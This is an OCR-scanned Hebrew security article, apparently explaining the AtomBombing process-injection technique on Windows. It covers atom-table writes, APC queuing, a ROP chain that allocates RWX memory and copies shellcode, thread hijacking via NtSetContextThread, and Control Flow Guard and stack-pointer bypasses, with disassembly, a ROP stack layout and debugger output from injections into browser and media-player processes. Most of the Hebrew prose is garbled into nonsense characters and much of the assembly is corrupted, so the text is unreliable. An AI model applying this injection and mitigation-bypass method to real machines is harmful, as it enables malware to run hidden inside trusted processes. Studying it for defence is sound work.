e GlobalGetAtomName - Retrieves a copy of the character string associated with the specified

global atom.

N720n ."7217a0 atom table-2 null terminated buffer jonX%? N1 GlobalAddAtom-7 'R TWKD
ANMP T2V pn NR? Q1I7w% N1 buffer-n NIX .MIdDN DNIR 7V X¥NID DR )'70N 700 W It
mY7 - I ,output buffer-7 pointer 7277 nox¥n GlobalGetAtomName .GlobalGetAtomName-?

.And' null terminated buffer-n X7 2IN2%7 N710'0 DX W' QX197 KIpY

-7 AR T Y 721730 atom table-7 shellcode 7'onn null terminated buffer qroIx DX ,nMIXN2
DIN GlobalGetAtomName-7 XNj77 QIpn '7nN% DNA7 'MW 0T K¥NNIL L,GlobalAddAtom

.WriteProcessMemory-7 XINj7 '72 2010 1'70N7 "W 'nnnn [N p'nyn?

NP7 2010 1'7NN7 DNA7 IR 'R DRT DN 7w 1'70n2 GlobalAddAtom-7 X7 "“7x' Mo 1

:(APC) Async Procedure Calls-2 win'w 1 7y ?GlobalGetAtomName-?7

QueueUserApc - adds a user-mode asynchronous procedure call (APC) object
to the APC queue of the specified thread.
DWORD WINAPI QueueUserAPC (
_In_ PAPCFUNC pfnAPC,
_In HANDLE hThread,
_In ULONG PTR dwData
);

)2 YTamw APCProc-7 pointer 7277 noxn QueueUserApc

VOID CALLBACK APCProc (
_In ULONG PTR dwParam
) ;

2 NX1] GlobalGetAtomName 7w prototype-n

UINT WINAPI GlobalGetAtomName (
~In  ATOM nAtom,
_Out  LPTSTR lpBuffer,
_In_ int nSize

)7

DNA7 T QueueUserApc-2 wnnw? 211 X7 0Mon1o 3-7 noxn GlobalGetAtomName-w [11'dn

.GlobalGetAtomName-7 X7 21pN 170Ny

-Windows"? nwTN N1t NU'wAtomBombing -
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https://msdn.microsoft.com/en-us/library/windows/desktop/ms649060(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/ms649063(v=vs.85).aspx

Technologic

:QueueUserApc 7w internals-n 7 70n01 IXIQ

=

loc_ 188D3859: ; Argument?2

push eax

push [ebp+duData] ; Argument

push [ebp+ R ; ApcContext

push ds: imp_ RtlDispatchAPCE12 ; ApcRoutine
push [ebp+hThread] ; ThreadHandle

call ds: __imp__ HtQueuefApcThread@28

test Pax, eax

js loc_188FE48E

[QueueUserApc]

7> NtQueueApcThread TVINN X7 syscall-2 nwnnwn QueueUserApc N'¥j72190 ,NIRT? [NW 10D

.J[2017n thread-n 9w APC Queue-7 APC-n DX 9'0INY

22X ,Q0IpPn thread-a asynchronously Xpnw w7197 pointer 7apn NtQueueApcThread
'017'N'7 .QueueUserApc-7 NNaVINY NN APCProc N'¥j72ID NNIX NI'K NNAVINY N'¥71190
-7 DMavinw nNapnn APCProc nxzaonl ntdllIRtIDispatchAPC X' nNavinn N'¥7190

.ntdll!RtIDispatchAPC-7 "UN19> N1avin QueueUserApc

:ntdll!RtIDispatchAPC 7y '7on01 IXIQ

nowv esl, [ebp+p_fActivationContext]
cmp esi,
jnz loc_4B30E788

loc_L4B3AE7ES8:

nov edx, esi

lea ecx, [ebp+var_uf]

call RtlActivateActivationContextUnsafeFast(x,x)
and [ebp+ms_exc.registration.TryLevel],
push [ebp+p_ApcProcParam]

nov ecx, [ebp+p_ApcProc]

call ds:__ guard_check_icall_fptr

call [ebp+p_ApcProc]

nov [ebp+ms_exc._registration.TryLevel],
call 1blDeactivatefctivationContext

1blbeactivatefctivationContext:

lea ecx, [ebp+var_uf]

call RtlDeactivateActivationContextlUnsafeFast({z)
push esi

call RtlReleasefActivationContext({x)

retn

push [ebp+p_ApcProcParam]

mouw ecx, [ebp+p_ApcProc] loc_4B3BE7BE1:

call ds:_ quard_check_icall fptr jmp loc_4BZANGNF
call [ebp+p_ApcProc]

[ntdIl!RtIDispatchAPC]

-Windows"? nwTN N1t NU'wAtomBombing -
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2von7 ANAdN YW NNINY NN PN 'WUn 09N DX NPT N'WURY DYAI9N

.APCProc-7 nX"jn 197 ActivationContext

‘ActivationContext 2'von7 701X W' N TN

loc_ 4B3AETE8:

mou
lea
call
and
push
mou
call
call
mou
call

eds, esi

ecx, [ebp+var 48]
RtlactivateActivationContextlUnsafeFast{x,x)
[ebp+ms_exc.reqistration.TrylLevel],
[ebp+p_ApcProcParam]

ecx, [ebp+p_ApcProc]

ds:  quard check icall fptr
[ebp+p_ApcProc]
[ebp+ms_exc.reqgistration.TryLevel],
lblDeactivatefctivationContext

[ntdIl!RtIDispatchAPC - RtlActivateActivationContextUnsafeFast]

:NINAN NI71won N nyxan ntdll!RtIDispatchAPC n'¥7119n

RtlActivateActivationContext -7 nx"p *T* 7y 7vom (ESI-2 yand X¥nin) ActivationContext-n .1

.UnsafeFast

(QueueUserApc-7 "avinw 'w'2wn T0N19N) NNAIENN APCProc-n N'¥72197 12N Jun1on .2

JDMIpPnn APCProc-n NUXRAI9Y7 KIj7a T IRY (1PN NIRT .N1onnY? N

nm 2y (__guard_check_icall_fptr) CFG-7 nx"j7 0'v¥xan ,APC-n N"¥j71197 D'RIpw 197 yaa .3

.CFG ma'nan valid n1'n APC n¥j1onw XY

JMipnn APCProc-n NWyjI97 XA ovxan 4

-7 ahialy: NIY¥NXNI 7u1an ActivationContext-n ,NTIn APCProc-nv yaa

:RtIDeactivateActivationContextUnsafeFast

l1blDeactivatefActivationContext:

lea

call
push
call
retn

ecx, [ebp+var 4A]

RtlDeactivatefctivationContextUnsafeFast{x)
esi

RtlReleasefActivationContext{x)

[ntdlIl!RtIDispatchAPC - RtIDeactivateActivationContextUnsafeFast]

62
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‘ActivationContext '7'von7 7NIX |'N DX, T¥nN

push [ebp+ 1

mou ec®, [ebp+
call ds: guard_check_icall fptr
call [ebp+ |

[ntdIl!RtIDispatchAPC - no activation context]

APCProc N"xj72197 NXOI LIYWDI activation contexts-7 MWWpW TIpn 22 7v Na?m nxaI9on

.CFG-7 NI X'nW INX7 T nMpmn

APCProc n"¥j7219 11ayn? 0'a"inn 1INIX QueueUserApc-7 DRI TWKRD 213N2'NAN JNIXK AT 72 Nn
-2 nunnwn QueueUserApc ,NOWN 197 NNNN  ,NXT DY .TNX 10NO  N7apgnn

.0"uN1O 3-7 noxnn ntdll!RtIDispatchAPC-7 XNj'? * 122 NtQueueApcThread

N DXN .3 7n9¥Nn X'N DNVN9 NNdY7 .GlobalGetAtomName-7 X7 717w NvnNn NN NN

INtQueueApcThread ?7'X .|> ?NNT NIWYY

.AtomBombing 7w GitHub repository-2 main ApcWriteProcessMemory NX NX

-Windows"? nwTN N1t NU'wAtomBombing -
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https://github.com/BreakingMalwareResearch/atom-bombing/blob/f5a04e3fd6eda114e1a7e66429d7e9ec864ec7d4/AtomBombing/main.cpp#L822
https://github.com/BreakingMalwareResearch/atom-bombing
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Execution :1l 2%¢ AtomBombing

NIXPNT7 T XKIXA7 X MU0 "0 702 RWX code caves RI¥n'? NI9X? M71d' X [amd
VY7 7Ttan *7nnn Jinn VirtualAllocEx-7 X077 "2an [201pn 3*7nna RWX NIXWAN Oy |N'T
IN executable |IND'T NIXPN7 7 CWORNW ,APC NIYXNN] N7 XNj77 DIRY ITD N'NAI9 'MINYN N7

XPIN N2OW [ND'T 7Y NIRYAN NNYY |'917'NY

'K 21WNY7 'M'o1 .executable [N2'T N¥7 A'wN7 TV |Ix1 Write-What-Where 70> Ty 17 w* nn ™X
INT" onxy? nwn 17w onxern ,DEP NX IXNYNNY .19V 791 0T DIXNSI Nt 71wonn 7y 12annY IR
N PIFT K7 0T XN 2NN C"mivin ane 9xah ae N X7 P data-7 nxan nIkwAn 'R
Return Oriented - ROP :DEP ny TTIANNY7 7> TNI'MQ nNRXNIN nwTN exploitation Nu'w .axnn

.Programming
?12n 1"7nn2a 17w shellcode-n NX yn'7 1> ROP-2 wnnwin? 7511 'R

NKY? (1 2792 MY N0'WN NIYXARA) Q7N 170N RW JND'T7 shellcode-n DX 7*nyin? 701
|N2'77 RW Nd'TAn Tign DX 7'y ,RWX [IND'T NX¥7'w nT'9pPa oTainnn ROP chain nina'? o1 pn

ANIR YT VAN N¥PINY RWX [N 7R YI9' 910271 ,Va00 n¥pIng RWX

data -0 INX7 NNN IT'RA WNNWN? 'MNNA NN PoC-n 72wl .RW code cave RIXN7 "Tn nwi K7

.kernelbase 7w section

.AtomBombing 7w GitHub repository-2 main GetCodeCaveAddress NX nX)
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Technologic

:ROP Chain-n

:DM2T 3 NIWYY? 11 17w ROP Chain-n
RWX nixwnin oy |NO'T nixpn? .1
yan n¥pIiny RWX [N2'77 RW code cave-nn shellcode-n nx p'myn? .2

V2N NXPINY RWX [ND7a X¥NAD TIign IR yn? .3

:RWX |1ND'T IN¥N - IWXA TYY ROP Chain
X9 - VirtualAlloc N'n WXAY? NXOIPYW NIIWNIN A¥PAIoN .RWX [ND'T NIXPnY? D'¥N 1NIX
NN NTNN 7" ANAIDNW X' TR Awan LRWX [T NIXPRY? NMYONAY TINN N'YIN'Y
VN DK YN 'R KIXRY 0XaY N1 17w ROP chain-n NX 120'w nn ,EAX-2 n¥PInY NN

WYL NN D197 EAX v

DIPNA .'OAZN NIM7 IR 19071 ROP chain-n MR VW97 O DDNINN 702 WNNwn? N1
[No'TA NN nThnn ,ZwAllocateVirtualMemory-2 wnnwin? 7211 VirtualAlloc-a wnnwin?
ZwAllocateVirtualMemory-w NXT NI¥2 NY0NNN NX NIAY 7211 .output parameter-d NN¥PNY
N'YZ197 NNXPNY [ND'TN DX 1AVN V192 DA1 ,NN0NNN JWNN NNXZAY [ND'TA NIX 1INWN

.(1 n720 NX1) Nawnwa nNan

:Shellcode-n npnyn - 1Y TYX ROP Chain
MY .ANX buffer-7 TNX buffer-n [N>'TN DX P'MYNY QX119 X' DDNIY INIXKY ARAN D¥190
,NTN A10NNn ROP chain pMy'nw .RtiIMoveMemory-I memcpy N'T'n WXI7? NIXDIP NI'¥219
stdcall calling -2 nunnwn XY DN RtIMoveMemory-2 wnANWN? X'N NIIYXRIN N"0IN

.NMINK stack-n DX D7IN N'¥PA1I9N 17D ,convention

NOYT R NRXNY) 'NW'7D NAIMDY? [N2'T 7'NYn7 D'XN NNIX 1AW ,TRIM NN 09 JaITA ,NNT DY
-1 UNNW1 DX .X7'N7 NdNY DA It Nndn 7RI (ZwAllocateVirtualMemory nitya nnaonn?
NIX D"ON X'NY Y12 naonnnn RWX shellcode-n 7w naimdn NX 7nnn X'n RtiIMoveMemory
-n AT NAMdN A stack-2 IWRIN entry-n ,memcpy-2 WNNWI DR ,NRT NAIY7? .NNxN

.(RWX shellcode-n 7ni75) memcpy 7w dest-n NAIMD NX X¥N1 DN INXR7I ,memcpy
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:RWX Shellcode-n nx1n - 'w™w 7YX ROP Chain

-n TNY Oy 11NIX .1N7Y shellcode-n DX I'7X 7'Myn7 DAl nN7¥N2 RWX [N2'T NIXzn? 1I07¥n

nn 7 ,P%7 .0thn Damdn D' 4-2 piN RYpPAY RWX [No'tn 7w namdn 72X memcpy

.17 ROP chain-7 vIw® wnn ROP gadget q'0IN? N7 NIWY7 XY

TN VIYON gadget-n 78 TAN memcpy ."ret" Ix¥pPN opcode-n NX VX' NTN LVIYON gadget-n

.1N7¥ RWX shellcode-n 78 nin'wr "ret" yxa'w

.AtomBombing 7w GitHub repository-2 main_FindRetGadget NX NX)

JARNY T NIKNY DRAMNY 19X 'ava

:7"10 ROP chain-7 y'axn? ESP-7 nNav1 ZwAllocateVirtualMemory-7 y'axn? EIP-7 nna 'y

Address Value Comment

0x30000000 | ntdll!'memcpy // Return address from
ZwAllocateVirtualMemory

0x30000004 Oxffffffff // Pseudo handle to the current process

0x30000008 | 0x30000020 // Where to store the allocated memory

0x3000000C | NULL // Irrelevant

0x30000010 | 0x30000028 // Pointer to the size of the needed memory

0x30000014 | MEM_COMMIT // Commit and not reserve

0x30000018 | PAGE_EXECUTE_READWRITE // RWX

0x3000001C | POINTER_TO_SOME_RET_INSTRUCTION // Return Address from memcpy, our
extremely simple ret gadget.

0x30000020 | NULL // Where the allocated memory will be
saved and the destination parameter of
memcpy. This will store the address of the
RWX shellcode.

0x30000024 | CODE_CAVE_ADDRESS // The RW code cave containing the
shellcode to be copied

0x30000028 | SHELLCODE_SIZE // The size of the shellcode to be allocated

[Imm%wa ROP Chain-n :1 n7a0]
.AtomBombing 7¥ GitHub repository-2 main BuildROPChain NX Nk
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ROP Chain-n n7yon

.stack-n 7V 0'auN19 11 Wmw 0MX INIX 1 0720 ' 7y .0Mun1o 3 nitwh 117 Ywoxn APC a0
-N 7unY) 17w ROP chain-n NXR 7''w RW N7 T'R7 stack-n DX N1N9N7 NT N9 NIWY? 01w nn

.(kernelbase-2 nxxnw RW code cave

?7NK DI7NnY stack-n NX NR9NYT 21 X

NTSYSAPI NTSTATUS NTAPI NtSetContextThread (
_In_ HANDLE hThread,

_In const CONTEXT *1pContext

) ;

DX .IpContext-2 D™avmn 0'DWY hThread 7w (registers DY) context-n NX MW NTn syscall-n
ROP chain-7 y1axn%? ESP-7 nna'w IpContext ny nTn syscall-7 XNp7 1pn 1'70Nn7 nnal 7n
a1'v nn Lyt n7w ROP chain-n ™) ,ZwAllocateVirtualMemory-7 y'axn? EIP-7 nNa7 pal n7vw

.shellcode-n 7w nxNY

Y2190 72K ,ND TV MY 'wIn'y TIRN 2N APC 21T RN IR Y¥AY (21170 1'70N7 DDA 'R
NIANINNNL corrupt N stack-n JITAN D'Y2AI9N WWXROW D ,3 K71 ,0M0N19 2 72777 nox¥n It
707 NA'ON AITRN X7 0D71V7 N'¥72190 'NdIN thread-7 handle 1'ayl DX ,NRT DY .DNTAIN X7 AN
context-n NIrn? PTIV' thread-n 7w context-n ,kernel-n 78 N2V execution-nW yanaw X'
190 TIAY' 700 DX .X1j71 DY 'R NtSetContextThread-w 07 10T DIW Nt K71, IpContext-2 Navinw

119w 217N shellcode-n X YN 17 0Ma71 20170 7002 thread 7y 09NWNT 2210 , 017N 1IRY

.AtomBombing 7w GitHub repository-2 main ApcSetThreadContext NX NX
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Restoration :lll 27w AtomBombing

-7 AN TTIMNNY 1'20W D901 DY 17 W' 7AN ,2 27w DIEn NN TIR YN 1IN7¥0 DR
,NIPN NN 17W XN DR ITNWI X7 OX .1'72Y N07NWNY 197 T'RON A 17 NNWNY thread

20PN 7NN 7Y Yow AT IR YT 'R

N"¥I9nY .APC ¥ context-2 Ya1d D'R¥N1 NNIXY D27 1'DTN7 NXN IR 70¥N DX TN 'R
7v van NTEINN APC-N 122102 7AYN] IX YYD 0T NNV ATNIY! execution-n NITNN APC

Japn '7nnn

:ntdll!KiUserApcDispatcher n2'n APC-n NI'¥{2197 XNj7'7 N'RINKY N'¥j1190

; Exported entry 189. KiUserApcDispatcher

public _ stdcall KilserApcDispatcher(x, %, %, ¥)
__stdcall KilUserfApcDispatcher{x, %, %, X) proc near

Context= COHTEXT ptr
arg_2D08= byte ptr

lea eax, [esp+arg_2D8]

mou ecy, large fs:

mouv edx, offset KilserfpcExceptionHandler(x,x,%,x)
mov [eax], ecCcH

mov [eax+4], edx

mouv large fs5:8, eax

pop eax

lea edi, [esp-4+Context]

mou ecx, eax

call ds:  quard check icall fptr
call BCX

mow ecx, [edi+ 1

mouv large fs5:8, ecx

push TestAlert
push edi Context
call ZuContinue(x,=)

mow esi, eax

[KiUserApcDispatcher]

nKX 7nn) ECX-7 nxan ,CFG-7 N0 nIwRIN RN .7"10 TIpn yopa NIk 3 nik? N

TVINN X700 ZwContinue syscall -7 X'n nannxni ,(APC-n N'¥2219 7w NaIndn
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-0 ,NwynY? .nx¥n DX tnwnl CONTEXT structure-7 pointer 7277 noxn ZwContinue syscall-n
NN ITAW' qI027 KINW 197 DN7 X171 thread-n 7w APC queue-2 NI'¥j719 TIV W' DX PIT2A! kernel

T NTalyn 07YNnY N1 R NN

-7 "avmin CONTEXT structure-n 7w namdn DX NnIw  KiUserApcDispatcher n'¥11on
7¥ YN DX MY i L(ECX-2 nXynan) APC-n NYNI97 NI X' 11949 EDI-A ZwContinue
-0 Q02 EDI-A n'nw Mipnn wn oy ZwContinue-7 XN'7l 1017w shellcode-n n'2'nna EDI

.NNL2] NX¥"N DX ThYY Paltl,shellcode

AtomBombing 7w GitHub repository-2 AtomBombingShellcode NX nX2

NN MY XY 1N ,NtSetContextThread-7? nXMpn N2 01Nd X7 EDI 7w wnw XTHT 117V
-0 NTww CONTEXT structure 7w NIayn T 7V NI7p2 NRT XTI7 N1 .registers-N 7 DDWN
NtSetContextThread-7 "mix CONTEXT_CONTROL .CONTEXT_CONTROL-7 nuw 17w ContextFlags
TV 7> .SEGSS-1 ,ESP ,EFLAGS ,SEGCS ,EIP ,EBP :"n0"7w"? n™uwpn registers-7 711 X on'nnY

NWD Nirva 117 Niox X7 (CONTEXT.ContextFlags| CONTEXT_INTEGER == 0)
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B Technologic

n''7n nn'7xn

&S Atom3ombing D X

T Breaking Malware - AFL x

C @ breakingmalware.com

br' 2Dl

mOILJJOf_O

Sponsored by enSio

[chrome.exe-7 njiTn]

NINY 2 2V T'ynn 'oX7pn calc.exe DX X' 7Y pATIAN TIRN .chrome.exe 1IM7 T NI - NNl

.1y
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:vlc.exe NIN7 TR PTh7 DA noMN INID

B (w[@]m [E =€

[vlc.exe-7 npaT]

2v DAl Windows 10 x64 Build 1511 (WoW) 7y 7121 XIn .GitHub-1 XI¥n'%7 [N X700 winmn NX

.Windows 10 x86 Build 10240

‘mspaint.exe DY 12T INIX NIYYY7 N01 INIA

H9 5 | Untitled - Paint - m] X

ol (e g (0] = (@
Clipboard Image Tools Brushes Shapes Colors

mc)ILJJOf_G

Sponsored by enSilo

EAOR g @

x |

'b_ Paint
Paint has stopped working
Windows is checking for a solution to the problem...
—

[#1 |03 - mspaint.exe-7 nj1TN]
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1227 INIQ .07 AT X7 'IX

:KiUserApcDispatcher 7y (windbg: bp) breakpoint n'wa

0:009> bp KiUserApcDispatcher

:(windbg: g) breakpoint-2 qIxy* XInW TV YN? TIR'7 N2 1'wdy ,breakpoint N ,'7Ix

0:009> g

Breakpoint 0 hit

ntdll!KiUserApcDispatcher:

77298d50 8d8424dc020000 1lea eax, [esp+2DCh]

[N KiUserApcDispatcher 7y 7Dn01 DX .107W breakpoint-2 mxyi L' TV 0 X7 '7nnn ,n71vn

.ds:__guard_check_icall_fptr-7 nx"j77 TV yN7 117 'RTO> NX11DW NIXOY

; Exported entry 112. KilserApcDispatcher

; _ stdcall KiUserapcDispatcher{x, x, x, X}
public _KilserfapcDispatcher@16
_KiUserapchispatcher@16 proc near

Context= CONTEXT ptr
arg_2D8= byte ptr

lea eax, [esp+arg_2D8]

mouv ecx, large fs:

mov edx, offset _KilserApcExceptionHandler@1é
mov [eax], ecx

mov [eax+4], edx

mov large fs:8, eax

pop eax

lea edi, [esp-4+Context]

mov ecd, eax

call ds:__ guard_check_icall_fptr
call BCx

mov ecx, [edi+ 1

mov large fs:8, ecx

push TestAlert
push edi Context
call _2uContinue@s

mowv esi, eax

[KisUserApcDispatcher]

:(windbg: pc) xan call-7 TV n¥" T 7V NRT NWY)

0:001> pc

ntdll!KiUserApcDispatcher+0x25:

77298d75 ££15d0c13277 call dword ptr

[ntdll! guard check icall fptr (7732cldO0)]
ds:002b:7732c1d0={ntdll!LdrpValidateUserCallTarget (772aaa30)}
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N7 Y0 nnwnan L (windbg: p) N call-n '7un step over NIWYY7 N0IX

0:001> p
(44d4.37a8) : Security check failure or stack buffer overrun - code
c0000409 (!!! second chance !!!)
ntdll!RtlFailFast2:
7718b5a0 cd29 int 2%h

:(windbg: k) n1onnn 7y 75no01 Ix2
0:001> k

ChildEBP RetAddr

007b£990 7716c7a2 ntdll!RtlFailFast2

007bf9%bc 7718aa88 ntdll!RtlpHandleInvalidUserCallTarget+0x73
007bfad4 77178d7b ntdll!LdrpValidateUserCallTargetBitMapRet+0x3Db
007bfee8 770338f4 ntdll!KiUserApcDispatcher+0x2b

007bfefc 77165de3 KERNEL32!BaseThreadInitThunk+0x24

007bff44 77165dae ntdll! RtlUserThreadStart+0x2f

007bf£f54 00000000 ntdll! RtlUserThreadStart+0xlb

indirect call-n bDXn NpTA X' .CFG 7w validation n'¥j7119n n1'n LdrpValidateUserCallTarget

.CFG n1'nan valid xin (ECX) target

:ECX 7v 7on01 IXIA

0:001> u ecx
ntdll!NtSetContextThread

AWONN Nt syscall-nw [1on valid Na'K Jamdw ,NtSetContextThread 7w namdn NX 7on ECX

.CFG N qIjpv7?

0'9011 0'0N9 7awa .CFG bitmap-a valid-> NtSetContextThread NX [n0% NT NIWY? 11'729w Nn

:BreakingMalware 117¥ TNXA 72N0N7 DONIX ['ATA IR ,NRT NIYY7 N1 'R 27

http://breakingmalware.com/documentation/documenting-undocumented-adding-control-flow-

guard-exceptions
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Technologic

Stack Pivot 2nIX X7 CFG

W DT DX YNN'? NoN INIA CFG-1 1179'0W 1'WDY 71N

mspaint.exe
= | Untitled - Paint

Found process 'mspaint.exe’.
Opened process's handle:

Adding Control Flow Guard exception (using the undocumented sysg

braahHim

Molweore

rching for an alertable thr
Found an alertable thread. Handle: Soimcesd by sl
Remote thread's stack information:
inding remote code cave.
Remote code cave found:
Building

Copying ROP chain to the remote process's address space.

miclledgie\Release>

[#2 |'01 - mspaint.exe-7 njTN]

,X1j11 NtSetContextThread-w N'1n7 [N N0 NN"'N K7W [11'dN .calc 'K DA 72X ,N0M}? |'K DYON

Y2 X7 shellcode-n 'nw75 naron 7aN

s Exported entry 544. HtSetContextThread
; Exported entry 1961. ZwSetContextThread

public ZuwSetContextThread@8
_ZuwSetContextThreadd@8 proc near

5 NTSTATUS _ stdcall ZwSetContextThread(HANDLE ThreadHandle, PCONTEST Context)

ThreadHandle= dword ptr
Contezt= dword ptr

mou eax, ; HtSetContextThread
mow edx, offset Wow6sSystemServiceCall@a
call edx WouwshSystemServiceCall()

retn

_ZwSetContextThreadE8 endp

[NtSetContextThread]
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:NtSetContextThread 7v breakpoint n'w

0:000> bp NtSetContextThread

0:000> g

Breakpoint 0 hit
ntdll!NtSetContextThread:

771782f0 b872010000 mov eax,172h

return-n TV yN7 TIP7 NNY7 no1n ,NtSetContextThread 7w n7NNN2 NIXyY NYDINNWNA NYD
-7 vy X7 071w thread-n 7w context-n NX M kernel-n ,Mxw 1D Ty 750 oX .(windbg: pt)

.return

0:000> pt
ntdll!NtSetContextThread+0xc:
771782fc c20800 ret 8

.return-n 78 11yan |21 thread-n 7w context-n NX N1'W X7 kernel-n .1'1'7W 1IND Tay X7 NTY NN

((windbg: r) EAX 7w |pInn Nnaxn "1 7v SYSCALL-nn 2t NTSTATUS-n 7v 70N0)

0:000> r eax
eax=c000000d

...NONQ - STATUS_INVALID_PARAMETER
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Kernel-n "X 77 "2yn

:kernel-2 NtSetContextThread 7w wimmn 7y 75n03

:PsSetContextThread-7 nx1j NtSetContextThread

ol s =]

dword ptr [ebp+AccessHode ]
ebx

edi
PsSetContextThread(x,x,x)
esi, eax

short loc_8EG61DE

M

[call PsSetContextThread]

:PspSetContextThreadinternal-? nX1Ij? PsSetContextThread

; Exported entry 1711. Ps3etContextThread

public _ stdcall PsSetContextThread({x, x, x)
__stdcall PsSetContextThread(x, %, X) proc near

arg_#8= dword ptr
arg_%4= dword ptr
arg_8= dword ptr

nouv
push
nouv

push
push
push
push
push
call
pop

retn

edi, edi
ebp
ebp, esp

[ebp+arg_8]

[ebp+arg_8]

[ebp+arg 4]

[ebp+arg_@]
PspietContextThreadInternal{x,x,x,%,%)
ebp

__stdcall PsSetContextThread{z, %, %) endp

[call PspSetContextThreadInternal]

:KeVerifyContextRecord-7 nx1Ij? PspSetContextThreadinternal

edx, [ebp+var_34]
ecx, ebx

KelerifyContextRecord{x,=)
eax, eax
Short loc_ G6DECG?

[call KeVerifyContextRecord]
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TWNY KTHIN ITN N'¥190 .CFG 7w RtlGuardlsValidStackPointer-7 nx1ij7 KeVerifyContextRecord

I''"N NtSetContextThread-7 "ayinw CONTEXT structure-1 ESP 7w

ecx, [ed=+ 1
RtlGuardIsUalidStackPointer{x)
eax

eax, eax

eax,

eax,

[call RtIGuardlIsValidStackPointer]

TWn NX ESI-A nnw nxpaon o1zoN'? nnnn RtlGuardisValidStackPointer NX 0'wa INI2

:(IpContext->Esp) 71727 171N Nr¥719nw

__stdcall RtlGuardIsUalidStackPointer{x} proc near

ms_exc= CPPEH_RECORD ptr

push

push offset ctru_ 621568
call __SEH_prologh

mow esi, ecx

mou eax, large fs:

test dword ptr [eaz+ 1.
jnz short loc 6&6DEACA

[RtlGuardisValidStackPointer Prologue]

EAX-2 nwnnwnl '‘ndian thread-n 7w ETHREAD-N 7w Namdn NX EAX-2 nnw XN pn NKY
-n 7w TEB-n 7¥ Namdn NX ECX-7 [Iyv7 1 (*ndnn thread-n 7w ETHREAD-7 y'axn 1'¢dywv)

2ndNN thread

eax, large fs:
ecx, [eax+ 1

[RtIGuardisValidStackPoint - Store TEB in ECX]
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:(StackLimit-"7 y'axn ECX+8) StackLimit-7? nnnn y'axn ESI DX

loc_6DEAYF:

and [ebp+ms_exc.registration.TrylLevel],
eax, [ecx+8]
esi, eax
short loc 6DEACS

[RtIGuardlsValidStackPoint n Nj*T2a - Stack Limit]

:(StackBase-7 y'ax¥n ECX+4) StackBase-n '7vn yraxn ESI DX IX

eax, [ecx+h]
esi, eax
short loc_ GDEACS

[RtIGuardIsValidStackPoint -0 nj»* 12 - Stack Base]

:(0=) FALSE 2'7nn

loc_6DEACS:

mov [ebp+ms_exc.registration.TryLevel],
Xor eax, eax

jmp short loc_6DEABB

_ stdcall RtlGuardIsValidStackPointer{x) endp

loc_6DEABB:
call __SEH_epilogh
retn

[FALSE 27NN - |'7n K7 Stack Pointer - RtlGuardlsValidStackPoint]

:(1=) TRUE 27NN MNX

[ebp+ms_exc.registration.TryLevel],
eax, eax
eax

FIEE]

loc_6DEABB :
call __SEH_epilogs
retn

[TRUE 27NN - |'n Stack Pointer - RtlGuardisValidStackPoint]
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-7 StackBase-n |'2 X¥xn1 X7 RtlGuardlisValidStackPointer-7 Nayinw 7vn DX ,ONIF NVIYD NINA
n'¥7219n |, StackLimit-7 StackBase-n |'2 X¥n1 D XIn DX .FALSE n1'tnn n'¥19n ,StackLimit
-7 "avIinw CONTEXT structure-2 ESP 7w 70wn OX N7TIA n¥72190 NNNX 0'7'na . TRUE n'Tnn

.'NdIN thread-n 7w Stack-n N2 X¥n1 nnRa NtSetContextThread

-y P7 maw nron 'pnwn ¥ NIKN? N RtlGuardlsvalidStackPointer-n natnin INKY
RtlGuardisValidStack -1 nTm2 (0x00000000) STATUS_SUCCESS 'tnn KeVerifyContextRecord
RtlGuardls-1 nT'na (0xCO00000D) STATUS_INVALID_PARAMTER-I (0x01) TRUE n'tnn Pointer
:(0x00) FALSE n1'tnn ValidStackPointer

ecx, [edx+ 1
RtlGuardIsValidStackPointer{x)
Eax

eax, eax
eax,
eax,

[call RtIGuardlIsValidStackPointer]
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NINNX NdIYUN

TN NAANN DX qIPYY7 NINYSIN MY 17 vt

ND'T NIRWAN 17 W00 70NN 7w N0 annn 7w user-mode-n 7702 wa TEB-n .1
NXN1 NIN 17'RD DR ROP chain- nw ) (StackLimit-1 StackBase) D'>vn NX nnwY 7211 .RW
Jnonnn v

IT T .I"7% 2N ROP chain-n N 2M>Y71 Qipn 1*7nna StackLimit 7w wn Nk kNP7 D .2
Y72 N7y dmwin yTna wnnwin? J'wn' thread-nw [1'n) corruption-n nonnn 7y NinMwn
-0 DX INNT' X7 (DMK mitigation 1122101 NNVAXR MIXINY? 011a) CFG-1 (NXN DX TNWIY

.17v stack pivot

NINdN NX q17w7 1> GetThreadSelectorEntry-2 'MUNNWN .2 19010 N'¥9IN X wnn? Mo7nn
-1 StackBase-n NX XNj77 'O ReadProcessMemory-2 Mwnnwn NI ,thread-n v TEB-n 7w

.StackLimit

NNavN .anti-exploitation Mxm T 7 NI7pa 09NNY7 NO'WY DDA stack pivot-2 win'w 177D 9INa
X'NY NPT L0002 .0pnInl INT? QYR N N2NYT 1T N9'PNN DX N29IN N1onn? ROP chain-n

.EMET-7 0'ITN N1an 112211 qIpy'y 013 9182 n'7W ROP chain-n nx n1an "fully weaponized"

.NT TI7 D091 X7 N7 nL'wN 71N vann? 7'awa
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nNn'7¥n

:N90I11 DYD mspaint.exe N7 N7W TIPN DX 7TN7 NON IXA

exe mspaint.exe

. PID: 21484 (
handle: 13

call NtSetInformationVirtualM

xception for

an alertable thread. Handle: ©x90.

] Remote thread's stack information: Base: 0x7(60000, Limit: Ox7C4F000.

Finding remote code cave.

*] Remote code ve found: ¢

2s of LoadlLibraryA and 's memory

[*] Copying the shellcode to the target p

[*] Copyi ain to the target thread's stack:

Hijacking the remote thread to e

[#3 |01 - mspaint.exe-7 njATN]

:PoC-n 7y 7>non? n'ntin

https://youtu.be/nqql15DCZXg

nid'o

NNIN NN 71¥97 11'7y .NMTRNNI NIMYTR D970 NIRO0 K¥N' TV7 D'ARYNAL N'Y¥2'0IM v 9pin
D1"ONNVY |'2N7 DA 11'7Y NIWYY7 221' AWR PTIN IR YIINY7 NI10171,010'N7 T K¥N' T'AN QRrINnY

X127 NITNYY NO'PN NIRO0 2V NN NN 'K 121 17ANNY N9 NIRD0 W

Jwitter-a IX LinkedIn-2 2wz 'M'X NX DDNIX N1'YN DTN AI0NA NTIAYE NTNA
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|9T9T 10T RAT - Web Proxy-n nnar11o nav

' MIN AT KRN

aNTN

,MIYPN NNNISVYT79D B1NVIRT? NYA 7V [9TOTA WNNWN TWUKR PINN NU™MY 7D NIN Browserat
NINN9 N2INY7 DA KXY 70191 '07ND NNTAN ,NWY NNTANY '0170%7 '00INAN DXV XIN DAl

.01VAINT TTYYT [9T9T7 NWA NNY D'X7X TWUN ,NNVAN

